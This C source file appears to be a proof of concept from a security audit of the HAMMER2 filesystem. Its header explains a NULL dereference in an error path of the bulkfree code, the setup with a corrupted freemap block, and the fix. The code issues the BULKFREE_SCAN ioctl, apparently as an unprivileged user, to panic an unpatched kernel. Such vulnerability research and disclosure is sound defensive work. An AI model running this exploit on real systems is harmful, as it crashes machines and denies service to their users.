/*
 * DF-0817 — NULL deref in h2_bulkfree_sync freemap lookup error path
 *
 * Claim (sys/vfs/hammer2/hammer2_bulkfree.c:1046-1051):
 *   h2_bulkfree_sync() calls hammer2_chain_lookup(&live_parent, ..., &error,
 *   HAMMER2_LOOKUP_ALWAYS).  When ANY FREEMAP_NODE in the descent path has a
 *   CRC/I/O error, hammer2_chain_lookup() returns NULL with *errorp set
 *   (sys/vfs/hammer2/hammer2_chain.c:2473-2476):
 *
 *       if (parent->error) {
 *           *errorp = parent->error;
 *           return NULL;
 *       }
 *
 *   Back in h2_bulkfree_sync():
 *
 *       live_chain = hammer2_chain_lookup(&live_parent, ..., &error,
 *                                        HAMMER2_LOOKUP_ALWAYS);
 *       if (error) {
 *           kprintf("hammer2_bulkfree: freemap lookup error near %016jx, "
 *                   "error %s\n",
 *                   (intmax_t)data_off,
 *                   hammer2_error_str(live_chain->error));   <-- NULL DEREF
 *           break;
 *       }
 *
 *   live_chain is NULL but the code dereferences live_chain->error => page
 *   fault at &NULL + offsetof(hammer2_chain_t, error) => kernel panic.
 *
 *   Line 1054 `if (live_chain == NULL)` immediately after proves the
 *   developer knew NULL was possible.  The fix is to use the local `error`
 *   variable instead of `live_chain->error`.
 *
 * Trigger path on the audit guest:
 *   1. (root) prepare a hammer2 image with a populated freemap tree that has
 *      at least one FREEMAP_NODE level (>= ~5 GB), then corrupt the
 *      FREEMAP_NODE block's data CRC on the raw device, then mount it
 *      read-only at /mnt/h2t .
 *   2. (unprivileged) hold any fd on the mount and issue HAMMER2IOC_BULKFREE_SCAN.
 *      Per DF-0815, hammer2_ioctl() at hammer2_ioctl.c:144-145 does NOT guard
 *      this case with `if (error == 0)` after the privilege check, so an
 *      unprivileged user reaches hammer2_ioctl_bulkfree_scan() directly.
 *   3. The bulkfree pass walks the freemap; the lookup of the corrupted
 *      FREEMAP_NODE returns NULL with *errorp set; line 1050 dereferences
 *      NULL+offsetof(error) => fatal trap 12, kernel panic.
 *
 * Build:  cc -o df0817 df0817.c
 * Run:    ./df0817 /mnt/h2t          (as unprivileged user; mount is set up by root)
 *
 * Expected (BUG present, unpatched #0):
 *   prints "[-] BUG present: ..." then the kernel panics in the background.
 *   Serial log shows:
 *     Fatal trap 12: page fault while in kernel mode
 *     ...
 *     fault virtual address = 0x<offsetof hammer2_chain_t.error>
 *     ...
 *     Stopped at hammer2_bulkfree_sync+0x... or hammer2_error_str+0x...
 *
 * Expected (FIXED):
 *   prints the kprintf message via dmesg ("freemap lookup error near ...")
 *   but does NOT panic; the bulkfree scan returns EIO cleanly to the caller.
 *
 * SAFETY NOTE on trigger setup
 *   The image preparation (vnconfig / newfs_hammer2 / file writes / corrupt /
 *   mount) is performed by root as part of mounting a filesystem — a normal
 *   admin operation.  The ATTACK surface is the BULKFREE_SCAN ioctl, which on
 *   the audit guest is reachable by an unprivileged user (DF-0815).  This PoC
 *   only issues the ioctl; the root-side setup script (setup_image.sh) is
 *   included for reproducibility.
 */

#include <sys/types.h>
#include <sys/ioccom.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <err.h>

/* Mirror sys/vfs/hammer2/hammer2_ioctl.h.  The _IOWR macro encodes
 * sizeof(arg-type) into the ioctl number, so we MUST use the real 64-byte
 * struct layout or the number won't match and the kernel returns the default
 * case (no handler).
 */
struct hammer2_ioc_bulkfree {
	unsigned long sbase;		/* hammer2_off_t */
	unsigned long sstop;
	unsigned long size;		/* size_t */
	unsigned long count_allocated;
	unsigned long count_freed;
	unsigned long total_fragmented;
	unsigned long total_allocated;
	unsigned long total_scanned;
};						/* 8 * 8 = 64 bytes */

#define HAMMER2_IOC_BULKFREE_SCAN  _IOWR('h', 92, struct hammer2_ioc_bulkfree)

int
main(int argc, char **argv)
{
	const char *path = (argc > 1) ? argv[1] : "/mnt/h2t";
	int fd, rc;
	struct hammer2_ioc_bulkfree bf;

	printf("[*] uid=%d euid=%d  opening '%s' on hammer2 mount\n",
	       getuid(), geteuid(), path);
	fd = open(path, O_RDONLY);
	if (fd < 0)
		err(1, "open %s", path);

	/*
	 * BULKFREE_SCAN with sbase=sstop=0 => hammer2_ioctl_bulkfree_scan
	 * computes the full-media range.  Per DF-0815 the privilege check on
	 * this case is bypassed, so we reach hammer2_bulkfree_pass() and the
	 * corrupted freemap triggers the NULL deref.
	 */
	memset(&bf, 0, sizeof(bf));
	bf.size = 0;				/* default kernel memory budget */

	printf("[*] issuing HAMMER2IOC_BULKFREE_SCAN "
	       "(expect: kernel panic on unpatched #0, clean EIO on patched)\n");
	errno = 0;
	rc = ioctl(fd, HAMMER2_IOC_BULKFREE_SCAN, &bf);
	/*
	 * BUG: on the unpatched kernel the guest PANICS before the ioctl
	 * returns, so this process is killed by the kernel going down and we
	 * never see the printf below.  If you DO see the printf, either the
	 * fix is in (EIO expected) or the bulkfree scan did not visit the
	 * corrupted freemap range.
	 */
	printf("[BULKFREE_SCAN] ioctl rc=%d errno=%d (%s)\n",
	       rc, errno, errno ? strerror(errno) : "success");
	if (rc == 0) {
		printf("    scanned=%lu allocated=%lu freed=%lu\n",
		       bf.total_scanned, bf.count_allocated, bf.count_freed);
	}

	close(fd);
	return (rc == 0) ? 0 : 1;
}
